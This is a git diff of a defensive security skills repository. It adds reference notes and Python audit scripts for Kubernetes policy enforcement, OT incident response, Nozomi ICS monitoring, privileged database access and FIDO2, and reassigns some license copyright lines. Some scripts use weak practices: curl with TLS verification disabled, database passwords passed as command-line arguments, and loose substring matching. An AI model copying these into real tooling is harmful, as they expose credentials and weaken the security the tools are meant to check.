b/skills/implementing-opa-gatekeeper-for-policy-enforcement/references/api-reference.md new file mode 100644 index 00000000..d57a8b9b --- /dev/null +++ b/skills/implementing-opa-gatekeeper-for-policy-enforcement/references/api-reference.md @@ -0,0 +1,46 @@ +# API Reference: OPA Gatekeeper Policy Enforcement + +## OPA REST API (localhost:8181) + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/v1/data/{path}` | GET/POST | Query policy | +| `/v1/policies/{id}` | PUT | Create/update policy | +| `/v1/data` | POST | Evaluate input against policy | + +## Gatekeeper CRDs + +| CRD | Description | +|-----|-------------| +| `ConstraintTemplate` | Define policy schema + Rego | +| `Constraint` | Instantiate a template | +| `Config` | Audit/sync configuration | + +## ConstraintTemplate Example +```yaml +apiVersion: templates.gatekeeper.sh/v1 +kind: ConstraintTemplate +metadata: + name: k8srequiredlabels +spec: + crd: + spec: + names: + kind: K8sRequiredLabels + targets: + - target: admission.k8s.gatekeeper.sh + rego: | + package k8srequiredlabels + violation[{"msg": msg}] { + not input.review.object.metadata.labels["app"] + msg := "Missing required label: app" + } +``` + +## Key Libraries + +| Library | Use | +|---------|-----| +| `kubernetes` | K8s API client | +| `requests` | OPA REST queries | +| `subprocess` | kubectl commands | diff --git a/skills/implementing-opa-gatekeeper-for-policy-enforcement/scripts/agent.py b/skills/implementing-opa-gatekeeper-for-policy-enforcement/scripts/agent.py new file mode 100644 index 00000000..be8156d8 --- /dev/null +++ b/skills/implementing-opa-gatekeeper-for-policy-enforcement/scripts/agent.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python3 +"""OPA Gatekeeper Policy Enforcement Agent - audits constraint templates and violation status.""" + +import json +import argparse +import logging +import subprocess +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def kubectl_json(args_list): + cmd = ["kubectl"] + args_list + ["-o", "json"] + result = subprocess.run(cmd, capture_output=True, text=True) + return json.loads(result.stdout) if result.returncode == 0 else {} + + +def get_constraint_templates(): + return kubectl_json(["get", "constrainttemplates"]) + + +def get_constraints(): + templates = get_constraint_templates() + constraints = [] + for item in templates.get("items", []): + kind = item.get("metadata", {}).get("name", "") + result = kubectl_json(["get", kind]) + for c in result.get("items", []): + constraints.append(c) + return constraints + + +def audit_constraint_violations(constraints): + violations = [] + for constraint in constraints: + name = constraint.get("metadata", {}).get("name", "") + kind = constraint.get("kind", "") + status = constraint.get("status", {}) + total = status.get("totalViolations", 0) + violation_list = status.get("violations", []) + if total > 0: + violations.append({ + "constraint": name, "kind": kind, "total_violations": total, + "enforcement_action": constraint.get("spec", {}).get("enforcementAction", "deny"), + "sample_violations": violation_list[:5], + }) + return sorted(violations, key=lambda x: x["total_violations"], reverse=True) + + +def analyze_policy_coverage(constraints): + categories = defaultdict(int) + enforcement = defaultdict(int) + for c in constraints: + categories[c.get("kind", "unknown")] += 1 + enforcement[c.get("spec", {}).get("enforcementAction", "deny")] += 1 + return {"total_constraints": len(constraints), "by_template": dict(categories), "by_enforcement_action": dict(enforcement)} + + +def check_audit_status(): + cmd = ["kubectl", "get", "pods", "-n", "gatekeeper-system", "-o", "json"] + result = subprocess.run(cmd, capture_output=True, text=True) + pods = json.loads(result.stdout) if result.returncode == 0 else {} + pod_status = [] + for pod in pods.get("items", []): + name = pod.get("metadata", {}).get("name", "") + phase = pod.get("status", {}).get("phase", "") + ready = all(c.get("ready", False) for c in pod.get("status", {}).get("containerStatuses", [])) + pod_status.append({"name": name, "phase": phase, "ready": ready}) + return pod_status + + +def generate_report(templates, constraints, violations, coverage, pod_status): + return { + "timestamp": datetime.utcnow().isoformat(), + "constraint_templates": len(templates.get("items", [])), + "active_constraints": len(constraints), + "policy_coverage": coverage, + "total_violations": sum(v["total_violations"] for v in violations), + "constraints_with_violations": len(violations), + "top_violations": violations[:15], + "gatekeeper_pods": pod_status, + "gatekeeper_healthy": all(p["ready"] for p in pod_status) if pod_status else False, + } + + +def main(): + parser = argparse.ArgumentParser(description="OPA Gatekeeper Policy Enforcement Audit Agent") + parser.add_argument("--output", default="gatekeeper_audit_report.json") + args = parser.parse_args() + + templates = get_constraint_templates() + constraints = get_constraints() + violations = audit_constraint_violations(constraints) + coverage = analyze_policy_coverage(constraints) + pod_status = check_audit_status() + report = generate_report(templates, constraints, violations, coverage, pod_status) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Gatekeeper: %d templates, %d constraints, %d violations", + report["constraint_templates"], report["active_constraints"], report["total_violations"]) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-osquery-for-endpoint-monitoring/LICENSE b/skills/implementing-osquery-for-endpoint-monitoring/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-osquery-for-endpoint-monitoring/LICENSE +++ b/skills/implementing-osquery-for-endpoint-monitoring/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-ot-incident-response-playbook/LICENSE b/skills/implementing-ot-incident-response-playbook/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-ot-incident-response-playbook/LICENSE +++ b/skills/implementing-ot-incident-response-playbook/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-ot-incident-response-playbook/references/api-reference.md b/skills/implementing-ot-incident-response-playbook/references/api-reference.md new file mode 100644 index 00000000..e85f35ba --- /dev/null +++ b/skills/implementing-ot-incident-response-playbook/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Implementing OT Incident Response Playbook + +## ICS-CERT Incident Categories + +| Category | Severity | Description | Response Time | +|----------|----------|-------------|---------------| +| Unauthorized Access | P1 - Critical | PLC/HMI/SIS unauthorized access | Immediate | +| Malware/Ransomware | P1 - Critical | OT network malware (EKANS, Triton) | Immediate | +| DoS/DDoS | P1 - Critical | OT communication disruption | Immediate | +| Network Intrusion | P2 - High | IT-OT boundary breach | < 4 hours | +| Reconnaissance | P3 - Medium | OT network scanning detected | < 24 hours | +| Policy Violation | P4 - Low | Unauthorized configuration change | < 72 hours | + +## Purdue Model Containment Zones + +| Level | Name | Containment Action | +|-------|------|--------------------| +| L0 | Physical Process | Manual control, verify SIS | +| L1 | Basic Control (PLC, SIS) | Isolate network, do NOT power off | +| L2 | Supervisory (HMI, SCADA) | Disconnect HMI, activate backup | +| L3 | Operations (Historian) | Isolate segment, preserve logs | +| L3.5 | DMZ | Sever IT-OT bridge | +| L4-5 | Enterprise IT | Standard IT IR procedures | + +## NIST SP 800-82 IR Controls + +| Control | Title | OT Consideration | +|---------|-------|------------------| +| IR-1 | IR Policy | Must address safety-critical systems | +| IR-4 | Incident Handling | Include OT engineering team | +| IR-5 | Incident Monitoring | Passive monitoring only in OT | +| IR-6 | Incident Reporting | CISA ICS-CERT within 72 hours | +| IR-8 | IR Plan | Separate OT and IT playbooks | + +## SANS PICERL Framework for OT + +| Phase | OT-Specific Actions | +|-------|---------------------| +| Preparation | Maintain PLC backup programs, define safe states | +| Identification | Correlate OT alerts with process anomalies | +| Containment | Network isolation without process disruption | +| Eradication | Restore from known-good PLC/HMI configurations | +| Recovery | Staged restart with operator verification | +| Lessons Learned | Update OT-specific TTPs and detection rules | + +## Reporting Obligations + +| Authority | Timeframe | Trigger | +|-----------|-----------|---------| +| CISA ICS-CERT | 72 hours | Critical infrastructure impact | +| Sector ISAC | 48 hours | Sector-relevant threat | +| TSA (pipeline) | 12 hours | Pipeline cybersecurity incident | +| NERC (electric) | 1 hour | Cyber Security Incident | + +### References + +- NIST SP 800-82 Rev 3: https://csrc.nist.gov/publications/detail/sp/800-82/rev-3/final +- IEC 62443-4-2: https://www.isa.org/standards-and-publications/isa-standards/isa-iec-62443-series-of-standards +- CISA ICS-CERT: https://www.cisa.gov/topics/industrial-control-systems diff --git a/skills/implementing-ot-incident-response-playbook/scripts/agent.py b/skills/implementing-ot-incident-response-playbook/scripts/agent.py new file mode 100644 index 00000000..414721d9 --- /dev/null +++ b/skills/implementing-ot-incident-response-playbook/scripts/agent.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +"""OT Incident Response Playbook Agent - executes ICS/SCADA incident response procedures.""" + +import json +import argparse +import logging +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +OT_INCIDENT_TYPES = { + "unauthorized_plc_access": {"severity": "critical", "safety_impact": True}, + "hmi_compromise": {"severity": "critical", "safety_impact": True}, + "historian_breach": {"severity": "high", "safety_impact": False}, + "engineering_workstation_malware": {"severity": "critical", "safety_impact": True}, + "network_anomaly": {"severity": "medium", "safety_impact": False}, + "firmware_tampering": {"severity": "critical", "safety_impact": True}, + "ransomware_ot": {"severity": "critical", "safety_impact": True}, + "dos_scada": {"severity": "high", "safety_impact": True}, +} + + +def assess_incident(incident_type, affected_assets): + incident_info = OT_INCIDENT_TYPES.get(incident_type, {"severity": "medium", "safety_impact": False}) + has_safety_system = any(a.get("type") in ("SIS", "safety_plc", "emergency_shutdown") for a in affected_assets) + return { + "incident_type": incident_type, + "base_severity": incident_info["severity"], + "safety_impact": incident_info["safety_impact"] or has_safety_system, + "affected_assets": len(affected_assets), + "escalated_severity": "critical" if has_safety_system else incident_info["severity"], + "requires_plant_shutdown": has_safety_system and incident_info["safety_impact"], + } + + +def generate_containment_steps(incident_type, assessment): + steps = [ + {"step": 1, "action": "Notify OT operations and plant safety manager", "priority": "immediate"}, + {"step": 2, "action": "Verify safety instrumented systems (SIS) are operational", "priority": "immediate"}, + {"step": 3, "action": "Document current process state and control values", "priority": "immediate"}, + ] + if incident_type in ("unauthorized_plc_access", "firmware_tampering"): + steps.extend([ + {"step": 4, "action": "Isolate affected PLCs from network (do NOT power off)", "priority": "high"}, + {"step": 5, "action": "Switch affected processes to manual control", "priority": "high"}, + {"step": 6, "action": "Verify PLC program integrity against known-good backup", "priority": "high"}, + ]) + elif incident_type == "ransomware_ot": + steps.extend([ + {"step": 4, "action": "Isolate IT/OT boundary immediately", "priority": "immediate"}, + {"step": 5, "action": "Verify Level 0-1 devices are unaffected", "priority": "immediate"}, + {"step": 6, "action": "Preserve forensic evidence from affected HMIs", "priority": "high"}, + ]) + elif incident_type == "hmi_compromise": + steps.extend([ + {"step": 4, "action": "Disconnect compromised HMI from control network", "priority": "immediate"}, + {"step": 5, "action": "Activate backup HMI or manual operations", "priority": "high"}, + ]) + else: + steps.extend([ + {"step": 4, "action": "Isolate affected network segment", "priority": "high"}, + {"step": 5, "action": "Enable enhanced monitoring on OT network", "priority": "medium"}, + ]) + return steps + + +def generate_recovery_plan(incident_type, affected_assets): + return { + "pre_recovery_checks": [ + "Verify all safety systems are functional", + "Confirm process is in safe state", + "Validate backup integrity before restoration", + ], + "recovery_steps": [ + "Restore from known-good configuration backups", + "Re-validate PLC programs against engineering documentation", + "Perform staged restart with operator verification", + "Monitor process values against baseline for 24 hours", + ], + "post_recovery_validation": [ + "Compare process parameters to pre-incident baseline", + "Run safety system functional tests", + "Verify all control loops are operating correctly", + ], + } + + +def generate_report(assessment, containment, recovery): + return { + "timestamp": datetime.utcnow().isoformat(), + "playbook": "OT Incident Response", + "incident_assessment": assessment, + "containment_steps": containment, + "recovery_plan": recovery, + "regulatory_notifications": [ + "CISA ICS-CERT (within 72 hours for critical infrastructure)", + "Sector-specific ISAC notification", + ] if assessment["safety_impact"] else [], + } + + +def main(): + parser = argparse.ArgumentParser(description="OT Incident Response Playbook Agent") + parser.add_argument("--incident-type", required=True, choices=list(OT_INCIDENT_TYPES.keys())) + parser.add_argument("--affected-assets", help="JSON file listing affected assets") + parser.add_argument("--output", default="ot_ir_playbook.json") + args = parser.parse_args() + + assets = [] + if args.affected_assets: + with open(args.affected_assets) as f: + assets = json.load(f) + + assessment = assess_incident(args.incident_type, assets) + containment = generate_containment_steps(args.incident_type, assessment) + recovery = generate_recovery_plan(args.incident_type, assets) + report = generate_report(assessment, containment, recovery) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("OT IR: %s, severity %s, safety impact: %s", + args.incident_type, assessment["escalated_severity"], assessment["safety_impact"]) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-ot-network-traffic-analysis-with-nozomi/LICENSE b/skills/implementing-ot-network-traffic-analysis-with-nozomi/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-ot-network-traffic-analysis-with-nozomi/LICENSE +++ b/skills/implementing-ot-network-traffic-analysis-with-nozomi/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-ot-network-traffic-analysis-with-nozomi/references/api-reference.md b/skills/implementing-ot-network-traffic-analysis-with-nozomi/references/api-reference.md new file mode 100644 index 00000000..211487bb --- /dev/null +++ b/skills/implementing-ot-network-traffic-analysis-with-nozomi/references/api-reference.md @@ -0,0 +1,72 @@ +# API Reference: Implementing OT Network Traffic Analysis with Nozomi + +## Nozomi Guardian REST API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v1/alerts` | GET | Retrieve security alerts | +| `/api/v1/assets` | GET | Get discovered asset inventory | +| `/api/v1/nodes` | GET | Get network nodes | +| `/api/v1/links` | GET | Get network links/connections | +| `/api/v1/sessions` | GET | Get active network sessions | +| `/api/v1/queries` | POST | Execute N2OS query | +| `/api/v1/health` | GET | Sensor health status | + +## Authentication + +```bash +# Bearer token +curl -s -k -H "Authorization: Bearer " https://guardian/api/v1/assets + +# API key (Vantage) +curl -s -H "X-Api-Key: " https://vantage.nozominetworks.com/api/v1/assets +``` + +## N2OS Query Language + +```sql +-- Find all PLCs +alerts | where type == plc + +-- Find new connections in last 24h +sessions | where first_seen > ago(24h) | sort by bytes desc + +-- Find Modbus traffic +sessions | where protocol == modbus | select src_ip, dst_ip, function_code +``` + +## Supported OT Protocols + +| Protocol | Detection | DPI Support | +|----------|-----------|-------------| +| Modbus/TCP | Full | Function code analysis | +| S7comm | Full | Block read/write detection | +| EtherNet/IP (CIP) | Full | Service code inspection | +| DNP3 | Full | Object group parsing | +| OPC UA | Full | Service/node inspection | +| BACnet | Full | Object/property analysis | +| PROFINET | Full | Cyclic/acyclic detection | +| IEC 60870-5-104 | Full | ASDU type parsing | + +## Alert Risk Levels + +| Level | Score Range | Response | +|-------|-------------|----------| +| Critical | 9.0 - 10.0 | Immediate investigation | +| High | 7.0 - 8.9 | Investigate within 4 hours | +| Medium | 4.0 - 6.9 | Investigate within 24 hours | +| Low | 0.1 - 3.9 | Review during next shift | + +## Sensor Deployment + +| Mode | Use Case | +|------|----------| +| SPAN/Mirror | Switch mirror port monitoring | +| TAP | Network TAP for full-duplex capture | +| Smart Polling | Active query for asset enrichment | + +### References + +- Nozomi Guardian API Docs: https://www.nozominetworks.com/resources/ +- IEC 62443-3-3: https://www.isa.org/standards-and-publications/isa-standards/isa-iec-62443-series-of-standards +- NIST SP 800-82 Rev 3: https://csrc.nist.gov/publications/detail/sp/800-82/rev-3/final diff --git a/skills/implementing-ot-network-traffic-analysis-with-nozomi/scripts/agent.py b/skills/implementing-ot-network-traffic-analysis-with-nozomi/scripts/agent.py new file mode 100644 index 00000000..dd94e82c --- /dev/null +++ b/skills/implementing-ot-network-traffic-analysis-with-nozomi/scripts/agent.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python3 +"""Nozomi Networks OT Traffic Analysis Agent - monitors ICS protocols and detects anomalies.""" + +import json +import argparse +import logging +import subprocess +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def nozomi_api(base_url, token, endpoint): + cmd = ["curl", "-s", "-k", "-H", f"Authorization: Bearer {token}", f"{base_url}/api/v1{endpoint}"] + result = subprocess.run(cmd, capture_output=True, text=True) + return json.loads(result.stdout) if result.stdout else {} + + +def get_alerts(base_url, token): + return nozomi_api(base_url, token, "/alerts?limit=500") + + +def get_assets(base_url, token): + return nozomi_api(base_url, token, "/assets?limit=500") + + +def get_sessions(base_url, token): + return nozomi_api(base_url, token, "/sessions?limit=500") + + +def analyze_ot_protocols(sessions): + protocol_counts = defaultdict(int) + ot_protocols = {"modbus", "s7comm", "dnp3", "opcua", "ethernet/ip", "bacnet", "profinet"} + ot_sessions = [] + for session in sessions: + proto = session.get("protocol", "").lower() + protocol_counts[proto] += 1 + if proto in ot_protocols: + ot_sessions.append({"source": session.get("source_ip", ""), "destination": session.get("destination_ip", ""), + "protocol": proto, "bytes": session.get("bytes_total", 0)}) + return {"protocol_distribution": dict(protocol_counts), "ot_sessions": len(ot_sessions), "total_sessions": len(sessions)} + + +def detect_anomalies(alerts): + anomaly_types = defaultdict(list) + for alert in alerts: + anomaly_types[alert.get("type_id", "unknown")].append({ + "description": alert.get("description", ""), "risk": alert.get("risk", ""), + "source": alert.get("source_ip", ""), "timestamp": alert.get("created_at", ""), + }) + return {cat: {"count": len(items), "samples": items[:3]} for cat, items in anomaly_types.items()} + + +def audit_asset_inventory(assets): + by_type = defaultdict(int) + by_vendor = defaultdict(int) + for asset in assets: + by_type[asset.get("type", "unknown")] += 1 + by_vendor[asset.get("vendor", "unknown")] += 1 + return {"total_assets": len(assets), "by_type": dict(by_type), + "by_vendor": dict(sorted(by_vendor.items(), key=lambda x: x[1], reverse=True)[:10])} + + +def generate_report(alerts, sessions, assets, base_url): + return { + "timestamp": datetime.utcnow().isoformat(), "nozomi_url": base_url, + "alert_summary": {"total": len(alerts), "critical": sum(1 for a in alerts if a.get("risk") == "critical")}, + "protocol_analysis": analyze_ot_protocols(sessions), + "anomalies": detect_anomalies(alerts), + "asset_inventory": audit_asset_inventory(assets), + } + + +def main(): + parser = argparse.ArgumentParser(description="Nozomi Networks OT Traffic Analysis Agent") + parser.add_argument("--nozomi-url", required=True, help="Nozomi Guardian URL") + parser.add_argument("--token", required=True, help="API bearer token") + parser.add_argument("--output", default="nozomi_ot_report.json") + args = parser.parse_args() + alerts = get_alerts(args.nozomi_url, args.token) + sessions = get_sessions(args.nozomi_url, args.token) + assets = get_assets(args.nozomi_url, args.token) + report = generate_report(alerts, sessions, assets, args.nozomi_url) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Nozomi: %d alerts, %d sessions, %d assets", len(alerts), len(sessions), len(assets)) + print(json.dumps(report, indent=2, default=str)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-pam-for-database-access/LICENSE b/skills/implementing-pam-for-database-access/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-pam-for-database-access/LICENSE +++ b/skills/implementing-pam-for-database-access/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-pam-for-database-access/references/api-reference.md b/skills/implementing-pam-for-database-access/references/api-reference.md new file mode 100644 index 00000000..ee36091a --- /dev/null +++ b/skills/implementing-pam-for-database-access/references/api-reference.md @@ -0,0 +1,76 @@ +# API Reference: Implementing PAM for Database Access + +## HashiCorp Vault Database Secrets Engine + +```bash +# Enable database secrets engine +vault secrets enable database + +# Configure PostgreSQL connection +vault write database/config/postgresql \ + plugin_name=postgresql-database-plugin \ + connection_url="postgresql://{{username}}:{{password}}@db.example.com:5432/mydb" \ + allowed_roles="readonly,readwrite" \ + username="vault_admin" password="admin_pass" + +# Create dynamic credential role +vault write database/roles/readonly \ + db_name=postgresql \ + creation_statements="CREATE ROLE \"{{name}}\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}'; GRANT SELECT ON ALL TABLES IN SCHEMA public TO \"{{name}}\";" \ + default_ttl="1h" max_ttl="24h" + +# Generate dynamic credentials +vault read database/creds/readonly +``` + +## hvac Python Client + +```python +import hvac +client = hvac.Client(url='http://127.0.0.1:8200', token='s.xxx') +creds = client.secrets.database.generate_credentials('readonly') +# creds['data']['username'], creds['data']['password'] +``` + +## CyberArk Privileged Cloud API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/Accounts?search=database` | GET | List database accounts | +| `/api/Accounts/{id}/Password/Retrieve` | POST | Check out password | +| `/api/Accounts/{id}/CheckIn` | POST | Check in password | +| `/api/LiveSessions` | GET | List active PSM sessions | +| `/api/Recordings` | GET | List session recordings | + +## Privileged Database Roles + +| Database | Privileged Roles | Risk | +|----------|-----------------|------| +| PostgreSQL | pg_read_all_data, rds_superuser | Critical | +| MySQL | SUPER, ALL PRIVILEGES, GRANT OPTION | Critical | +| Oracle | DBA, SYSDBA, SYSOPER | Critical | +| SQL Server | sysadmin, db_owner, securityadmin | Critical | + +## Session Proxy Configuration + +| Proxy | Protocol | Feature | +|-------|----------|---------| +| CyberArk PSM | RDP/SSH | Full session recording + keystroke logging | +| Teleport | PostgreSQL/MySQL wire | Query audit logging | +| StrongDM | All major DBs | Just-in-time access + approval workflow | + +## NIST 800-53 PAM Controls + +| Control | Description | +|---------|-------------| +| AC-2(4) | Automatic audit of account actions | +| AC-6(1) | Authorize access to security functions | +| AC-6(2) | Non-privileged access for non-security functions | +| AC-6(5) | Privileged accounts for privileged functions only | +| AU-9 | Protection of audit information | + +### References + +- Vault Database Secrets: https://developer.hashicorp.com/vault/docs/secrets/databases +- CyberArk REST API: https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/WebServices/Implementing%20Privileged%20Account%20Security%20Web%20Services%20SDK.htm +- NIST SP 800-53 AC-6: https://csf.tools/reference/nist-sp-800-53/r5/ac/ac-6/ diff --git a/skills/implementing-pam-for-database-access/scripts/agent.py b/skills/implementing-pam-for-database-access/scripts/agent.py new file mode 100644 index 00000000..8abb7c6a --- /dev/null +++ b/skills/implementing-pam-for-database-access/scripts/agent.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python3 +"""PAM Database Access Agent - audits privileged database sessions and access controls.""" + +import json +import argparse +import logging +import subprocess +import os +from collections import defaultdict +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def query_db_users(db_type, host, admin_user, admin_password): + env = {**os.environ, "PGPASSWORD": admin_password} + if db_type == "postgresql": + cmd = ["psql", "-h", host, "-U", admin_user, "-c", + "SELECT usename, usesuper, usecreatedb, valuntil FROM pg_user;", "--no-align", "-t"] + elif db_type == "mysql": + cmd = ["mysql", "-h", host, "-u", admin_user, f"-p{admin_password}", "-e", + "SELECT user, host, Super_priv, Grant_priv FROM mysql.user;", "-B"] + else: + cmd = ["sqlcmd", "-S", host, "-U", admin_user, "-P", admin_password, "-Q", + "SELECT name, type_desc, is_disabled FROM sys.server_principals WHERE type IN ('S','U');"] + result = subprocess.run(cmd, capture_output=True, text=True, env=env) + return [{"raw": line.strip()} for line in result.stdout.strip().split("\n") if line.strip()] + + +def audit_shared_accounts(users): + shared_patterns = ["admin", "dba", "root", "sa", "dbadmin", "sysadmin"] + findings = [] + for user in users: + raw = user.get("raw", "").lower() + for pattern in shared_patterns: + if pattern in raw: + findings.append({"user": raw, "issue": f"Potential shared account ({pattern})", "severity": "high"}) + return findings + + +def audit_session_logging(db_type, host, admin_user, admin_password): + findings = [] + env = {**os.environ, "PGPASSWORD": admin_password} + if db_type == "postgresql": + cmd = ["psql", "-h", host, "-U", admin_user, "-c", "SHOW log_connections;", "--no-align", "-t"] + result = subprocess.run(cmd, capture_output=True, text=True, env=env) + if "off" in result.stdout.lower(): + findings.append({"issue": "log_connections disabled", "severity": "high"}) + return findings + + +def check_tls(host, port): + cmd = ["openssl", "s_client", "-connect", f"{host}:{port}", "-brief"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) + return {"tls_enabled": "Protocol" in result.stdout or "TLS" in result.stdout} + except subprocess.TimeoutExpired: + return {"tls_enabled": False} + + +def generate_report(users, shared, logging_findings, tls): + all_findings = shared + logging_findings + return { + "timestamp": datetime.utcnow().isoformat(), + "total_users": len(users), "shared_account_findings": shared, + "logging_findings": logging_findings, "encryption": tls, + "total_findings": len(all_findings), + } + + +def main(): + parser = argparse.ArgumentParser(description="PAM Database Access Audit Agent") + parser.add_argument("--db-type", required=True, choices=["postgresql", "mysql", "mssql"]) + parser.add_argument("--host", required=True) + parser.add_argument("--port", type=int, default=5432) + parser.add_argument("--admin-user", required=True) + parser.add_argument("--admin-password", required=True) + parser.add_argument("--output", default="pam_db_audit_report.json") + args = parser.parse_args() + users = query_db_users(args.db_type, args.host, args.admin_user, args.admin_password) + shared = audit_shared_accounts(users) + logging_f = audit_session_logging(args.db_type, args.host, args.admin_user, args.admin_password) + tls = check_tls(args.host, args.port) + report = generate_report(users, shared, logging_f, tls) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("PAM DB audit: %d users, %d findings", len(users), report["total_findings"]) + print(json.dumps(report, indent=2, default=str)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-passwordless-auth-with-microsoft-entra/LICENSE b/skills/implementing-passwordless-auth-with-microsoft-entra/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-passwordless-auth-with-microsoft-entra/LICENSE +++ b/skills/implementing-passwordless-auth-with-microsoft-entra/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-passwordless-authentication-with-fido2/LICENSE b/skills/implementing-passwordless-authentication-with-fido2/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-passwordless-authentication-with-fido2/LICENSE +++ b/skills/implementing-passwordless-authentication-with-fido2/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-passwordless-authentication-with-fido2/references/api-reference.md b/skills/implementing-passwordless-authentication-with-fido2/references/api-reference.md new file mode 100644 index 00000000..045e0f03 --- /dev/null +++ b/skills/implementing-passwordless-authentication-with-fido2/references/api-reference.md @@ -0,0 +1,100 @@ +# API Reference: Implementing Passwordless Authentication with FIDO2 + +## WebAuthn Registration Flow + +```javascript +// 1. Server generates challenge +const options = await navigator.credentials.create({ + publicKey: { + challenge: new Uint8Array(32), + rp: { name: "Example Corp", id: "example.com" }, + user: { id: userId, name: "user@example.com", displayName: "User" }, + pubKeyCredParams: [ + { type: "public-key", alg: -7 }, // ES256 + { type: "public-key", alg: -257 }, // RS256 + ], + authenticatorSelection: { + authenticatorAttachment: "platform", // or "cross-platform" + residentKey: "required", // for passkeys + userVerification: "required", + }, + attestation: "direct", + } +}); +``` + +## WebAuthn Authentication Flow + +```javascript +const assertion = await navigator.credentials.get({ + publicKey: { + challenge: serverChallenge, + rpId: "example.com", + allowCredentials: [], // empty for discoverable credentials (passkeys) + userVerification: "required", + } +}); +``` + +## python-fido2 Server Library + +```python +from fido2.server import Fido2Server +from fido2.webauthn import PublicKeyCredentialRpEntity + +rp = PublicKeyCredentialRpEntity(id="example.com", name="Example") +server = Fido2Server(rp) + +# Registration +registration_data, state = server.register_begin(user, credentials) +auth_data = server.register_complete(state, response) + +# Authentication +request_data, state = server.authenticate_begin(credentials) +server.authenticate_complete(state, credentials, credential_id, client_data, auth_data, signature) +``` + +## FIDO2 Authenticator Types + +| Type | Example | Attachment | Passkey Support | +|------|---------|------------|-----------------| +| Platform | Windows Hello, Touch ID | platform | Yes | +| Roaming | YubiKey, Titan Key | cross-platform | Yes (FIDO2) | +| Software | 1Password, iCloud Keychain | platform | Yes | + +## COSE Algorithm Identifiers + +| COSE ID | Algorithm | Use | +|---------|-----------|-----| +| -7 | ES256 (P-256) | Preferred for FIDO2 | +| -257 | RS256 | Legacy compatibility | +| -8 | EdDSA (Ed25519) | Strong, compact | +| -35 | ES384 (P-384) | Higher security | + +## NIST SP 800-63B AAL Levels + +| Level | Requirements | FIDO2 Mapping | +|-------|-------------|---------------| +| AAL1 | Single factor | Not applicable | +| AAL2 | Two factors | FIDO2 + PIN/biometric | +| AAL3 | Hardware crypto + verifier impersonation resistance | FIDO2 hardware key | + +## Azure AD FIDO2 Configuration + +```powershell +# Enable FIDO2 in Azure AD +Set-MgBetaPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration ` + -AuthenticationMethodConfigurationId "fido2" ` + -State "enabled" ` + -AdditionalProperties @{ + isSelfServiceRegistrationAllowed = $true + isAttestationEnforced = $true + } +``` + +### References + +- WebAuthn Spec: https://www.w3.org/TR/webauthn-3/ +- FIDO Alliance: https://fidoalliance.org/specifications/ +- NIST SP 800-63B: https://pages.nist.gov/800-63-3/sp800-63b.html +- python-fido2: https://github.com/Yubico/python-fido2 diff --git a/skills/implementing-passwordless-authentication-with-fido2/scripts/agent.py b/skills/implementing-passwordless-authentication-with-fido2/scripts/agent.py new file mode 100644 index 00000000..4193329e --- /dev/null +++ 